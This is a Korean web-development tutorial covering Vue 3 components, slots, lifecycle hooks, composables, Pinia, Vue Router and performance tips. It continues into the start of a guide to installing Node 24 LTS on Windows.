<!-- 이름 붙은 모델 여러 개 -->
<Range v-model:min="from" v-model:max="to" />
v-model 은 사실 :modelValue + @update:modelValue 의 줄임입니다. defineModel() 이 그 두 개를 한 줄로 만들어 줍니다 — 예전의 장황한 props/emit 짝은 이제 필요 없습니다.

실전 — 검증까지 품은 입력 컴포넌트

<!-- LabeledInput.vue — 폼마다 반복되는 것을 전부 흡수 -->
<script setup>
import { useId } from "vue";
defineOptions({ inheritAttrs: false });   // ★ $attrs(type 등)를 바깥 div 가 아니라 input 에만
const model = defineModel({ type: String, default: "" });
const props = defineProps({
  label: String,
  error: String,          // 부모가 검증 결과를 내려준다
  required: Boolean,
});
const id = useId();      // Vue 3.5+ — SSR 에서도 서버·클라이언트 id 가 일치
</script>

<template>
  <div class="field">
    <label :for="id">{{ label }}
      <em v-if="required">*</em></label>
    <input :id="id" v-model="model" :required="required"
           :aria-invalid="!!error" v-bind="$attrs">
    <p v-if="error" class="err" role="alert">{{ error }}</p>
  </div>
</template>
<!-- 부모 — 폼이 짧아집니다 -->
<LabeledInput v-model="form.email" label="이메일"
              type="email" required :error="errors.email" />
<LabeledInput v-model="form.name" label="이름" required />

수식어와 폼 요소별 v-model

<!-- 내장 수식어 -->
<input v-model.lazy="q">     <!-- input 대신 change 때 반영 -->
<input v-model.number="n">   <!-- 숫자로 형변환 -->
<input v-model.trim="s">     <!-- 앞뒤 공백 제거 -->

<!-- 체크박스 여러 개 → 배열 -->
<label v-for="t in tags" :key="t">
  <input type="checkbox" :value="t" v-model="picked"> {{ t }}
</label>

<!-- 라디오 · 셀렉트 -->
<input type="radio" value="s" v-model="size"> Small
<select v-model="city">
  <option disabled value="">도시 선택</option>
  <option v-for="c in cities" :key="c" :value="c">{{ c }}</option>
</select>
검증 로직 자체는 부모(또는 컴포저블)에 두세요. 입력 컴포넌트는 표시만 맡아야 어느 폼에서든 재사용됩니다. 규모가 커지면 VeeValidate + zod 조합이 실무 표준입니다.
VUE 07

slot — 구멍 뚫어 두기

컴포넌트 안에 부모가 내용을 끼워 넣는 자리입니다.

기본 · 이름 있는 슬롯

<!-- Card.vue -->
<template>
  <div class="card">
    <header><slot name="head">기본 제목</slot></header>
    <div><slot /></div>               <!-- 이름 없는 기본 슬롯 -->
    <footer><slot name="foot" /></footer>
  </div>
</template>
<!-- 사용 -->
<Card>
  <template #head><h3>공지</h3></template>
  <p>본문입니다</p>
  <template #foot><button>확인</button></template>
</Card>

스코프 슬롯 — 자식의 값을 넘겨준다

<!-- List.vue : 반복은 내가, 생김새는 네가 -->
<template>
  <ul>
    <li v-for="(item, i) in items" :key="item.id">
      <slot :item="item" :index="i" />
    </li>
  </ul>
</template>
<List :items="rows">
  <template #default="{ item, index }">
    <b>{{ index + 1 }}.</b> {{ item.name }}
  </template>
</List>
표·목록 컴포넌트의 핵심 기법입니다. 데이터 처리·페이징은 컴포넌트가 맡고 각 칸을 어떻게 그릴지는 쓰는 쪽이 정합니다.

props 로 줄 것 vs 슬롯으로 뚫을 것

신호선택
넘기는 것이 데이터다 (문자열·숫자·배열)props — title="공지"
넘기는 것이 마크업이다 (아이콘+굵은 글씨+링크)슬롯 — props 로 HTML 문자열을 넘기기 시작하면 신호입니다
모양 종류가 몇 가지로 정해져 있다variant props — 쓰는 쪽 자유도를 일부러 줄입니다
"내용은 뭐가 올지 모른다" (모달 본문 · 카드 내용)기본 슬롯
자식이 가진 데이터로 부모가 그려야 한다스코프 슬롯 — 표의 셀 렌더링
<!-- 판단 예 — 버튼 안에 아이콘을 넣고 싶다 -->
<!-- ✗ props 가 늘어나는 길: icon · iconPos · iconSize … -->
<BaseButton icon="save" icon-pos="left" label="저장" />

<!-- ✓ 슬롯이면 끝: 내용은 쓰는 쪽 마음 -->
<BaseButton><SaveIcon /> 저장</BaseButton>
망설여지면 슬롯이 안전합니다 — props 는 나중에 추가할 수 있지만, props 로 굳은 API 를 슬롯으로 바꾸는 것은 쓰는 곳 전부를 고치는 일입니다.
VUE 08

생명주기와 DOM 접근

DOM 이 준비된 시점을 알아야 바깥 라이브러리를 붙일 수 있습니다.

<script setup>
import { ref, shallowRef, onMounted, onUnmounted, nextTick } from "vue";

// 템플릿의 ref="box" 와 이름이 같으면 연결됩니다
const box = ref(null);
const chart = shallowRef(null);   // 외부 라이브러리 인스턴스는 깊은 프록시로 감싸지 않게

onMounted(() => {
  chart.value = new Chart(box.value, options);   // 화면에 붙은 뒤
  addEventListener("resize", onResize);
});

onUnmounted(() => {                              // ★ 반드시 정리
  chart.value?.destroy();
  removeEventListener("resize", onResize);
});

// 값 변경이 화면에 반영된 뒤에 무언가 해야 할 때
async function addAndScroll(){
  items.value.push(newItem);
  await nextTick();                              // DOM 갱신 대기
  box.value.scrollTop = box.value.scrollHeight;
}
</script>

<template>
  <div ref="box">…</div>
</template>
훅시점
onMountedDOM 에 붙은 직후. DOM 접근·라이브러리 초기화
onUnmounted사라질 때. 타이머·구독·인스턴스 정리
onUpdated다시 그려진 뒤 (자주 쓸 일 없음)
nextTick()지금 바꾼 값이 화면에 반영된 뒤
정리를 빠뜨리면 페이지를 옮겨도 타이머가 돌고 차트 인스턴스가 남아 메모리를 계속 먹습니다. onMounted 를 적을 때 onUnmounted 를 같이 적는 습관을 들이세요.
컴포넌트의 일생 — 원이 상태, 화살표에 적힌 것이 그때 불리는 훅 setup DOM 없음 딱 한 번 실행 여기서 ref 는 null 마운트됨 DOM 있음 언마운트 정리 끝 보관됨 KeepAlive onMounted DOM 접근은 여기부터 값이 바뀔 때마다 onUpdated — 살아 있는 동안 반복 onUnmounted 타이머 · 구독 정리 onDeactivated onActivated KeepAlive(13번) 안에서는 파괴 대신 여기로 — onUnmounted 가 불리지 않습니다 "ref 가 null" 사고의 지도가 이 그림입니다 — DOM 접근은 onMounted 이후로 v-if 는 이 일생을 통째로 반복(파괴·재생성)하고, v-show 는 그림 밖에서 display 만 바꿉니다
생명주기를 외울 필요는 없습니다 — "DOM 은 mounted 부터, 정리는 unmounted 에서" 두 가지면 실무의 90%입니다.
VUE 09

컴포저블 — 로직 재사용

리액트의 커스텀 훅에 해당합니다. 규칙이 더 느슨해서 편합니다.

// composables/useFetch.js
import { ref, watchEffect, onUnmounted } from "vue";

export function useFetch(urlRef){
  const data = ref(null);
  const error = ref(null);
  const loading = ref(false);
  let ctrl;

  watchEffect(async () => {
    const url = typeof urlRef === "function" ? urlRef() : urlRef.value;
    if (!url) return;

    ctrl?.abort();
    const my = (ctrl = new AbortController());
    loading.value = true; error.value = null;

    try{
      const r = await fetch(url, { signal: my.signal });
      if (!r.ok) throw new Error(`HTTP ${r.status}`);
      data.value = await r.json();
    }catch(e){
      if (e.name !== "AbortError") error.value = e;
    }finally{
      if (ctrl === my) loading.value = false;   // ★ 취소된 옛 요청이 새 요청의 loading 을 끄지 않게
    }
  });

  onUnmounted(() => ctrl?.abort());
  return { data, error, loading };
}
<script setup>
const id = ref(1);
const { data, loading } = useFetch(() => `/api/user/${id.value}`);
// id 가 바뀌면 자동으로 다시 부르고 이전 요청은 취소됩니다
</script>
리액트 훅과 다른 점 — 조건문·반복문 안에서 불러도 되고 호출 순서도 상관없습니다. <script setup> 이 한 번만 실행되기 때문입니다. 다만 onMounted 같은 생명주기 훅은 setup 실행 중에 등록해야 합니다.

하나 더 — localStorage 와 동기화되는 상태

// composables/useStorage.js
import { ref, watch } from "vue";

export function useStorage(key, init){
  const v = ref(init);
  try {
    const saved = localStorage.getItem(key);
    if (saved !== null) v.value = JSON.parse(saved);
  } catch {}

  watch(v, (nv) => {
    try { localStorage.setItem(key, JSON.stringify(nv)); }
    catch {}
  }, { deep: true });     // 객체 내부 변경까지

  return v;
}

// 사용 — 새로고침해도 유지되는 설정
const theme = useStorage("theme", "dark");
const draft = useStorage("post-draft", { title:"", body:"" });

바퀴를 다시 만들기 전에 — VueUse

// npm i @vueuse/core — 컴포저블 200+ 모음 (사실상 표준)
import {
  useLocalStorage,     // 방금 만든 것의 완성판
  useDebounceFn,       // 디바운스
  useIntersectionObserver, // 무한 스크롤 · 뷰포트 감지
  useEventListener,    // 자동 정리되는 이벤트 등록
  useDark,             // 다크 모드 (시스템 연동)
  onClickOutside,      // 바깥 클릭 → 닫기
} from "@vueuse/core";

const target = ref(null);
onClickOutside(target, () => (open.value = false));
공부는 직접 만들어 보고, 실무는 VueUse 를 쓰세요. 직접 만든 버전에는 SSR 대응·탭 간 동기화·예외 처리가 빠져 있기 마련입니다 — 위 useStorage 도 다른 탭에서 바꾼 값은 못 받아 옵니다.
VUE 10

Pinia — 전역 상태

여러 화면이 같은 데이터를 봐야 할 때 씁니다.

스토어 정의

// stores/cart.js
import { defineStore } from "pinia";
import { ref, computed } from "vue";

export const useCart = defineStore("cart", () => {
  const items = ref([]);                               // state

  const count = computed(() =>                          // getter
    items.value.reduce((s, v) => s + v.n, 0));
  const total = computed(() =>
    items.value.reduce((s, v) => s + v.price * v.n, 0));

  function add(p){                                      // action
    const hit = items.value.find((v) => v.id === p.id);
    if (hit) hit.n++;
    else items.value.push({ ...p, n: 1 });
  }
  function clear(){ items.value = []; }

  return { items, count, total, add, clear };
});

사용

<script setup>
import { storeToRefs } from "pinia";
import { useCart } from "@/stores/cart";

const cart = useCart();
// ★ 구조 분해하면 반응성이 끊기므로 storeToRefs 로
const { count, total } = storeToRefs(cart);
// 함수는 그냥 꺼내도 됩니다
const { add, clear } = cart;
</script>

<template>
  <span>{{ count }}개 / {{ total }}원</span>
  <button @click="clear">비우기</button>
</template>
전부 전역으로 두지 마세요. 한 화면 안에서만 쓰는 값은 컴포넌트 안 ref 가 맞습니다. 전역이 늘수록 누가 언제 바꿨는지 추적이 어려워집니다.

서버 데이터는 스토어보다 쿼리 캐시로

// npm i @tanstack/vue-query
import { useQuery, useMutation, useQueryClient }
  from "@tanstack/vue-query";

const { data, isPending, error } = useQuery({
  queryKey: computed(() => ["user", id.value]),  // id 바뀌면 재조회
  queryFn: () => api.getUser(id.value),
  staleTime: 60_000,
});

const qc = useQueryClient();
const { mutate: save } = useMutation({
  mutationFn: api.saveUser,
  onSuccess: () => qc.invalidateQueries({ queryKey: ["user"] }),
});
Pinia 에 서버 응답을 복사해 두면 "언제 다시 불러올지"를 전부 직접 관리하게 됩니다. 캐시·중복 제거·재검증이 필요한 데이터는 쿼리 캐시, 앱 자체의 상태(장바구니·로그인)는 Pinia — 역할이 다릅니다.

스토어끼리 · 스토어 초기화

// 스토어가 다른 스토어를 쓰는 것도 자연스럽습니다
export const useOrder = defineStore("order", () => {
  const cart = useCart();
  const auth = useAuth();

  async function checkout(){
    if (!auth.user) throw new Error("로그인 필요");
    await api.order(auth.user.id, cart.items);
    cart.clear();
  }
  return { checkout };
});

// 로그아웃 때 전부 초기화 — $reset 은 옵션 스토어 전용이므로
// setup 스토어는 초기화 액션을 직접 둡니다
function reset(){ items.value = []; page.value = 1; }
스토어를 컴포넌트 밖(모듈 최상단)에서 부르지 마세요. const cart = useCart() 를 파일 최상단에 쓰면 Pinia 가 설치되기 전에 실행되어 앱이 죽습니다 — 반드시 setup 이나 액션 안에서 부르세요.
여러 컴포넌트가 같은 상태를 볼 때 — 한 곳에 모읍니다 useCartStore state — items, coupon getters — totalPrice (computed) actions — add(), remove(), clear() 헤더 — 개수 표시 장바구니 페이지 상품 상세 — 담기 버튼 구조 분해하면 반응성이 끊깁니다 { items } = store 로 꺼내면 안 바뀝니다 — storeToRefs 를 언제 스토어로 올릴까 두 개 이상의 화면이 같은 값을 봐야 할 때만 — 나머지는 지역 상태로
전역 상태를 늘릴수록 추적이 어려워집니다 — 필요할 때만 올리세요.
스토어가 허브 — 화면끼리는 서로를 모르고 스토어만 봅니다 useCartStore items · coupon totalPrice add · remove 헤더 개수 배지 장바구니 목록 · 삭제 상품 상세 담기 버튼 결제 요약 합계 금액 개수 읽기 읽기 · remove() add() 호출 totalPrice 읽기 구조 분해하면 반응성이 끊깁니다 — const { items } = store 대신 storeToRefs(store) 스토어로 올리는 기준: 두 개 이상의 화면이 같은 값을 봐야 할 때만 — 나머지는 지역 상태로 상태를 바꾸는 길은 actions 한 곳 — 선이 늘수록 어디서 바뀌었는지 찾을 곳도 늘어납니다
전역 상태를 늘릴수록 추적이 어려워집니다 — 필요할 때만 올리세요.
VUE 11

Vue Router

주소와 화면을 잇습니다. 이 가이드 사이트도 같은 구조입니다.

import { createRouter, createWebHistory } from "vue-router";

const router = createRouter({
  history: createWebHistory(import.meta.env.BASE_URL),
  routes: [
    { path: "/", component: () => import("@/views/Home.vue") },
    { path: "/user/:id", component: () => import("@/views/User.vue"),
      props: true },
    { path: "/admin", component: Admin, meta: { auth: true } },
    { path: "/:pathMatch(.*)*", component: NotFound },     // 404
  ],
  scrollBehavior: (to) =>
    to.hash ? { el: to.hash, behavior: "smooth" } : { top: 0 },
});

// 로그인 검사
router.beforeEach((to) => {
  if (to.meta.auth && !isLoggedIn()) return { path: "/login" };
});
<script setup>
import { useRoute, useRouter } from "vue-router";
const route = useRoute();     // 지금 주소 정보 (읽기)
const router = useRouter();   // 이동시키기

const id = computed(() => route.params.id);
function go(){ router.push({ path:"/user/7", query:{ tab:"info" } }); }
</script>

<template>
  <RouterLink to="/">홈</RouterLink>
  <RouterView />                <!-- 여기에 화면이 들어옵니다 -->
</template>
() => import(…) 로 적으면 코드가 분할되어 그 화면에 처음 갈 때 내려받습니다 — 첫 로딩이 빨라집니다.
주소 → 화면이 되기까지 /user/7?tab=info 클릭·뒤로가기·직접입력 routes 에서 매칭 /user/:id → User.vue beforeEach 가드 로그인? 권한? RouterView 에 표시 params.id = "7" 거부 → /login 으로 방향 전환 돌아올 주소를 query 에 기억 같은 화면끼리 이동(/user/7 → /user/8)은 컴포넌트를 재사용합니다 — onMounted 가 다시 안 불립니다 — params 는 watch 로 이 가이드의 딥링크(#k04 로 바로 이동)도 같은 원리 — 주소가 곧 상태입니다
라우팅의 사고 전환 — "어느 화면을 보여줄까"가 아니라 "주소가 진실이고 화면은 그 결과"입니다.
VUE 12

스타일과 컴포넌트 설계

scoped 가 기본입니다. 새는 스타일이 없습니다.

스타일

<style scoped>
.card{ padding: 16px; }

/* 자식 컴포넌트 내부까지 건드려야 할 때 */
:deep(.child-title){ font-weight: 700; }

/* 슬롯으로 들어온 내용 */
:slotted(p){ margin: 0; }

/* 전역으로 내보내기 */
:global(body){ margin: 0; }
</style>

<script setup>
const color = ref("#6a5cff");
</script>
<style scoped>
/* JS 값을 CSS 로 — v-bind 가 커스텀 프로퍼티로 바뀝니다 */
.btn{ background: v-bind(color); }
</style>

나누는 기준

신호대응
파일이 300줄을 넘음템플릿 덩어리를 자식 컴포넌트로
같은 로직이 두 곳에컴포저블로 (composables/)
props 가 10개를 넘음객체로 묶거나 슬롯으로 뒤집기
여러 화면이 같은 데이터Pinia 스토어
폴더 구조 예 — components/(재사용 UI) · views/(라우트 화면) · composables/(로직) · stores/(전역 상태) · api/(서버 호출).

실전 — 어디서든 재사용되는 BaseButton 하나 제대로

<!-- components/BaseButton.vue -->
<script setup>
defineProps({
  variant: { type: String, default: "primary" },   // primary | ghost | danger
  size:    { type: String, default: "md" },        // sm | md | lg
  loading: Boolean,
});
// disabled · type · @click 은 선언 없이 $attrs 로 통과됩니다
</script>

<template>
  <button class="btn" :class="[variant, size]"
          :disabled="loading || $attrs.disabled" v-bind="$attrs">
    <span v-if="loading" class="spinner" aria-hidden="true" />
    <slot />
  </button>
</template>

<style scoped>
.btn{ border-radius: 8px; border: 1px solid transparent; cursor: pointer; }
.btn:disabled{ opacity: .55; cursor: not-allowed; }
.primary{ background: var(--accent); color: #fff; }
.ghost{ background: transparent; border-color: var(--line); }
.danger{ background: #e5484d; color: #fff; }
.sm{ padding: 4px 10px; } .md{ padding: 8px 16px; } .lg{ padding: 12px 22px; }
</style>
<BaseButton @click="save" :loading="saving">저장</BaseButton>
<BaseButton variant="ghost" size="sm">취소</BaseButton>
<BaseButton variant="danger" @click="remove">삭제</BaseButton>
이 파일 하나에 이 탭의 절반이 들어 있습니다 — props(05) · 슬롯(07) · $attrs 통과 · scoped 스타일(12). 팀의 버튼이 이것 하나로 통일되는 순간부터 "디자인 시스템"이 시작됩니다.
VUE 13

성능과 유용한 기능

대부분 자동이지만 알아 두면 좋은 장치가 있습니다.

<!-- 화면을 떠나도 상태를 유지 (탭 전환·목록↔상세) -->
<KeepAlive :max="5">
  <component :is="current" />
</KeepAlive>

<!-- DOM 트리 밖으로 옮겨 그리기 (모달·토스트) -->
<Teleport to="body">
  <div class="modal" v-if="open">…</div>
</Teleport>

<!-- 비동기 컴포넌트가 준비될 때까지 -->
<Suspense>
  <template #default><UserPanel /></template>
  <template #fallback><Skeleton /></template>
</Suspense>

<!-- 들어오고 나갈 때 효과 -->
<Transition name="fade"><p v-if="ok">완료</p></Transition>
// 큰 목록을 반응형으로 감쌀 필요가 없을 때 (수천 건)
import { shallowRef, markRaw } from "vue";
const rows = shallowRef(bigArray);      // 안쪽까지 추적하지 않음
const map  = markRaw(new Map());        // 아예 추적 제외

// 무거운 컴포넌트는 지연 로딩
const Chart = defineAsyncComponent(() => import("./Chart.vue"));
Teleport 가 모달의 정답인 이유 — 부모에 transform·overflow:hidden 이 있으면 아무리 z-index 를 올려도 그 상자에 갇힙니다. body 로 옮기면 그 문제가 통째로 사라집니다.

"화면이 느려요" 처방 순서 — Vue 판

진단처방
수천 행 데이터를 ref 에 담자마자 굼뜸① shallowRef — 깊은 추적을 끕니다. 통째 교체로만 갱신
스크롤이 버벅임 (행 수백 개 이상)② 가상 스크롤 — @tanstack/vue-virtual · vue-virtual-scroller
입력마다 무거운 목록이 즉시 갱신③ refDebounced(VueUse) 로 검색어만 늦추기
탭을 오갈 때마다 데이터 다시 로딩④ KeepAlive — 상태를 살려 둡니다
첫 로딩이 느림⑤ 라우트 지연 로딩(11번) + defineAsyncComponent
v-for 안에서 함수 호출로 포맷⑥ computed 로 미리 가공한 배열을 돌리세요
Vue 는 추적이 자동이라 리액트식 리렌더 최적화는 거의 필요 없습니다 — 성능 문제는 대부분 데이터가 너무 크거나(①②), DOM 이 너무 많거나(②) 입니다. Vue DevTools 의 Performance 탭에서 확인부터 하세요.
VUE 14

자주 하는 실수 모음

리액트에서 넘어올 때 특히 많이 걸리는 것들입니다.

증상원인
값을 바꿔도 화면이 그대로JS 에서 .value 를 빠뜨림 (count++ ✗ → count.value++)
구조 분해했더니 반응성 끊김toRefs·storeToRefs 를 쓰세요
화면에 [object Object]객체를 그대로 출력. 속성을 꺼내거나 JSON.stringify
목록 순서 바꾸면 입력값이 섞임:key 를 index 로 줌 → 고유 id 로
props 를 바꾸면 경고자식은 못 바꿉니다. emit 으로 부모에게
ref 가 nullonMounted 이전에 접근. DOM 이 아직 없습니다
값 바꾸고 바로 DOM 을 읽었더니 이전 값await nextTick() 후에 읽으세요
모달이 다른 요소에 가림조상의 transform·overflow. <Teleport to="body">
v-if 와 v-for 를 같이 썼더니 이상우선순위 문제. <template v-for> 로 감싸세요
watch 가 안 걸림객체 내부 변경은 { deep: true } 필요
도구 — Vue DevTools 로 컴포넌트 트리·상태·Pinia 스토어를 직접 볼 수 있습니다. "값이 진짜 바뀌었는가"를 추측하지 말고 여기서 확인하세요.

배우는 순서 — 로드맵

  • 1주차 — 01~04: ref·computed 로 투두리스트 (추가·완료·필터를 전부 computed 로)
  • 2주차 — 05~08: 컴포넌트 분리 + v-model. 투두를 TodoInput · TodoItem · TodoList 로 쪼개기
  • 3주차 — 09~11: 컴포저블 + Pinia + 라우터. 공개 API 검색 앱(목록 ↔ 상세 페이지 + 즐겨찾기 스토어)
  • 4주차 — 12~13: BaseButton 류 공용 컴포넌트로 정리, 지연 로딩 적용, 배포(Vercel · Netlify)

다음 단계 · 생태계 지도

필요표준 선택지
SSR · SEO · 파일 라우팅Nuxt 4 — Vue 의 Next.js
UI 컴포넌트 모음Vuetify · PrimeVue · Naive UI
폼 검증VeeValidate + zod
서버 데이터 캐시TanStack Query (10번)
유틸 컴포저블VueUse (09번)
테스트Vitest + Vue Testing Library
이어지는 탭 — 타입은 🔷 TypeScript, API 서버는 🚂 Express · 🐈 NestJS, React 와의 개념 대응은 옆 ⚛️ React 탭 — 상태·props·슬롯이 1:1 로 짝지어집니다.
Node 24 LTS · pnpm 10 · TypeScript 5.9 · Vite · VS Code — 2026 기준

빈 PC 에
자바스크립트 개발 환경을
처음부터 세웁니다

자바스크립트는 브라우저만 있으면 바로 시작할 수 있는 거의 유일한 언어입니다. 그런데 프로젝트를 하나 만들려는 순간 node, npm, pnpm, tsc, tsx, corepack, nvm 같은 이름이 한꺼번에 쏟아집니다. 이 탭은 무엇을 왜 깔아야 하는지, 설치 화면에서 무엇을 체크하는지, PATH 는 어느 화면에서 어떻게 넣는지, 안 될 때 무엇부터 확인하는지를 하나도 건너뛰지 않고 적었습니다. 마치고 나면 빈 노트북을 받아도 20분 안에 TypeScript 프로젝트가 도는 상태로 만들 수 있습니다.

12SECTIONS
3OS 전부
0사전 지식
20분목표 시간
SETUP 01

무엇을 깔아야 하나 — 사실 처음엔 아무것도

자바스크립트는 이미 여러분 PC 에 깔려 있습니다. 크롬·엣지·사파리 안에 엔진이 들어 있으니까요. 그런데도 node 를 까는 이유가 분명히 있습니다. 그 경계선부터 그어 두면 나머지 설치가 전부 “왜”가 붙은 채로 이해됩니다.

무엇을 설치할까 — 질문 하나로 갈립니다 지금 하려는 일이 무엇인가? 문법 연습 · 웹 페이지 DOM · 이벤트 · fetch 파일도 서버도 필요 없음 서버 · CLI · 빌드 파일 읽기 · npm 패키지 React · Vue 프로젝트 빠른 실행 · 실험 TS 를 그냥 실행 개인 프로젝트 · 스크립트 설치 없음 · F12 브라우저 콘솔이 곧 REPL Node 24 LTS ★ 실무 표준 · 이 탭의 기본 Bun 1.x · Deno 2 골라도 되지만 나중에 Node 를 깔아도 브라우저 콘솔은 계속 씁니다 — 대체가 아니라 추가입니다 헷갈릴 때의 기준 — "파일 · 서버 · npm" 이 나오면 Node, 그 전까지는 브라우저로 충분합니다
설치는 필요가 생겼을 때 하면 됩니다 — 처음부터 다 깔아 두는 것이 오히려 혼란의 원인입니다.

① 설치 0 단계 — 브라우저 콘솔

크롬·엣지에서 F12(맥은 Cmd+Option+I)를 누르고 Console 탭을 열면 그 자리가 자바스크립트 실행기입니다. 파이썬의 python REPL 과 같은 것이 이미 깔려 있는 셈입니다.

// 콘솔에 그대로 붙여 넣어 보세요
1 + 1                       // 2
[1,2,3].map(n => n * 2)     // [2, 4, 6]
await fetch("/").then(r => r.status)   // ★ 콘솔은 최상위 await 이 됩니다

// 여러 줄을 쓸 때는 Shift+Enter 로 줄바꿈
function hello(name) {
  return `안녕하세요 ${name}`;
}
hello("김현우")
콘솔보다 편한 자리 — Sources ▸ Snippets
개발자도구 Sources 탭 왼쪽의 Snippets 에 코드를 저장해 두면 Ctrl+Enter 로 몇 번이고 다시 실행할 수 있습니다. 파일을 만들지 않고 수십 줄짜리 연습을 하기에 딱 좋습니다.
브라우저에서 절대 안 되는 것 — fs.readFile 로 내 PC 파일 읽기, 서버 열기(listen), npm install 로 받은 패키지 쓰기, DB 접속. 전부 보안상 막혀 있습니다. 이 중 하나가 필요해지는 순간이 Node 를 깔 때입니다.

② Node 를 깔면 생기는 것들

명령정체
nodeV8 엔진 + 파일·네트워크 기능. 런타임
npm패키지 관리자. Node 설치에 같이 들어옵니다
npx설치하지 않고 한 번만 실행. npm 에 딸려 옴
corepackpnpm·yarn 을 켜 주는 중개자. Node 에 동봉
# 설치 후 이 네 줄이 다 대답하면 성공입니다
node -v          # v24.x.x
npm -v           # 11.x.x
npx -v           # 11.x.x
corepack -v      # 0.3x.x

# Node 는 REPL 도 갖고 있습니다 (그냥 node 만 치면 됩니다)
node
> 1 + 1
2
> .exit           # 또는 Ctrl+D
“npm 도 따로 깔아야 하나요” — 아닙니다. Node 설치 프로그램 하나에 node · npm · npx · corepack 이 전부 들어 있습니다. 파이썬에서 python 과 pip 가 같이 오는 것과 같습니다.

런타임 셋 비교 — Node · Bun · Deno 🟢 기초

Node 24 LTS ★ Bun 1.x Deno 2
한 줄 정체 사실상의 표준. 2009년부터 속도로 승부하는 신형 Node 만든 사람이 만든 재설계판
패키지 npm (+pnpm·yarn 선택) bun install 내장 · 매우 빠름 npm 호환 + JSR
TypeScript 타입 지우기는 기본 지원(st07) 그냥 bun a.ts 로 실행 그냥 deno run a.ts
내장 도구 --test · --watch · --env-file 테스트 · 번들러 · 실행기 전부 테스트 · 포맷 · 린트 · 컴파일
권한 제한 없음 (실험적 권한 모델 있음) 제한 없음 기본 차단 · --allow-net 로 허용
회사에서 쓰나 거의 전부 — 배포·모니터링 생태계 완비 늘고 있지만 아직 소수 소수 · 사내 도구 위주
고르는 기준 취업 · 협업 · 배포면 무조건 이것 혼자 만드는 스크립트·CLI 보안이 중요한 스크립트
2026년의 정답은 여전히 Node 입니다. Bun 과 Deno 는 훌륭하지만, 회사 코드베이스 · CI · 도커 이미지 · 배포 플랫폼 · 채용 공고가 전부 Node 를 전제로 움직입니다. Bun 은 “빠른 npm install 대체”나 “tsx 없이 TS 스크립트 실행” 용도로 Node 와 같이 깔아 두는 것이 실용적입니다. 둘을 동시에 깔아도 서로 방해하지 않습니다.

LTS 냐 Current 냐 — 숫자를 고르는 법 🟢 기초

2026년 8월 현재의 버전 지도

   24  Active LTS    ★ 지금 받아야 할 것 (nodejs.org 왼쪽 버튼)
   26  Current         새 기능 먼저 · 2026-10 에 LTS 승격 예정
   22  Maintenance     보안 패치만 · 신규 프로젝트에 쓰지 마세요
   20  EOL (2026-04)   ❌ 더는 보안 패치가 안 나옵니다

── 짝수 / 홀수 규칙 ──
  짝수 버전만 LTS 가 됩니다 (20 · 22 · 24 · 26)
  홀수 버전(23 · 25)은 실험용이며 6개월 뒤 사라집니다

★ 2026-10 Node 27 부터 규칙이 바뀝니다
   · 메이저는 1년에 한 번 · 홀짝 구분 폐지
   · 모든 메이저가 LTS 로 승격 (활성 18개월 + 유지보수 18개월)
EOL 버전을 쓰면 안 되는 진짜 이유 — 문법이 아니라 보안입니다. Node 20 에 취약점이 나와도 패치가 안 나옵니다. 또한 최신 라이브러리들이 "engines": { "node": ">=22" } 를 걸어 두기 시작해서 npm install 자체가 경고나 실패로 끝납니다.

그래서 나는 몇 번을 깔아야 하나

상황고를 것
지금 배우기 시작24 LTS ★
회사 프로젝트에 합류그 저장소의 .nvmrc / engines 를 따름
강의·책을 따라감거기 적힌 버전 이상이면 대체로 OK
새 기능을 시험26 Current 를 따로 (st03 버전 관리자)
도커로 배포node:24-alpine 처럼 메이저 고정
// package.json 에 요구 버전을 적어 두는 습관
{
  "engines": {
    "node": ">=24.0.0",
    "pnpm": ">=10"
  },
  "packageManager": "pnpm@10.15.0"
}
// engines 를 어기면 pnpm 은 기본적으로 설치를 거부하고,
// npm 은 경고만 냅니다 (.npmrc 에 engine-strict=true 로 강제 가능)
버전으로 고민하는 시간이 아깝습니다. 혼자 배우는 단계라면 LTS 최신(24) 하나면 끝이고, 여러 버전이 필요해지는 순간이 오면 그때 st03 의 fnm 을 깔면 됩니다. 미리 대비하겠다고 처음부터 버전 관리자를 깔면 헤맬 거리만 늘어납니다.
정리 — 문법 연습은 브라우저 F12 로 충분하고, 파일·서버·npm 이 필요해지는 순간 Node 24 LTS 를 깝니다. Node 를 깔면 npm · npx · corepack 이 함께 옵니다. Bun·Deno 는 나중에 필요해지면 Node 옆에 추가로 깔면 됩니다.
SETUP 02

Windows 설치 — .msi 마법사 를 한 화면씩

화면에 무엇이 뜨는지, 어느 체크박스를 켜고 어느 것을 끄는지, 설치가 끝난 뒤 무엇으로 확인하는지까지 그대로 따라갈 수 있게 적었습니다. 5분이면 끝납니다.

Windows 설치 — 여섯 단계, 대부분 그냥 다음 버튼 1 nodejs.org 접속 → 왼쪽 "LTS" 버튼 오른쪽 Current 버튼이 아닙니다. node-v24.x.x-x64.msi 가 받아집니다 2 .msi 실행 → Next → 라이선스 동의 "게시자를 확인할 수 없음" 경고가 뜨면 nodejs.org 에서 받은 것이 맞는지만 확인 3 설치 경로 — 기본값 그대로 두세요 C:\Program Files\nodejs\ · 한글이나 공백이 든 경로로 바꾸면 나중에 고생합니다 4 Custom Setup — "Add to PATH" 가 켜져 있는지 확인 ★ 기본으로 켜져 있습니다. 이것을 끄면 어느 터미널에서도 node 를 못 찾습니다 5 "Tools for Native Modules" 체크박스 — 끄고 넘어갑니다 Python 과 빌드 도구를 자동 설치하는 옵션. 필요해지면 st11 에서 따로 깝니다 6 터미널을 새로 열고 node -v · npm -v 이미 열려 있던 창은 옛 PATH 를 들고 있습니다. 반드시 새 창에서 확인하세요
체크박스는 사실상 두 개만 신경 쓰면 됩니다 — PATH 는 켜고, 네이티브 도구는 끕니다.

① 무엇을 받나 — 파일 이름까지

https://nodejs.org/ko

  ┌──────────────────┬──────────────────┐
  │  24.x.x LTS      │  26.x.x 최신     │
  │  "대부분의 사용자 │  "최신 기능"     │
  │   에게 권장" ★   │                  │
  └──────────────────┴──────────────────┘
        ↑ 이쪽을 누릅니다

받아지는 파일:  node-v24.9.0-x64.msi     (약 30MB)

── 직접 고르고 싶다면 ──
https://nodejs.org/dist/latest-v24.x/
  node-v24.9.0-x64.msi     ← 64비트 윈도우 (거의 전부 이것)
  node-v24.9.0-arm64.msi   ← ARM 노트북 (Snapdragon X 등)
  node-v24.9.0-win-x64.zip ← 설치 없이 압축만 푸는 이동식 버전
내 윈도우가 64비트인지 모르겠다면 — 설정 ▸ 시스템 ▸ 정보 ▸ 시스템 종류 에서 확인합니다. 2015년 이후 PC 라면 사실상 전부 x64 입니다.

winget 으로 한 줄에 깔기 (윈도우 10/11)

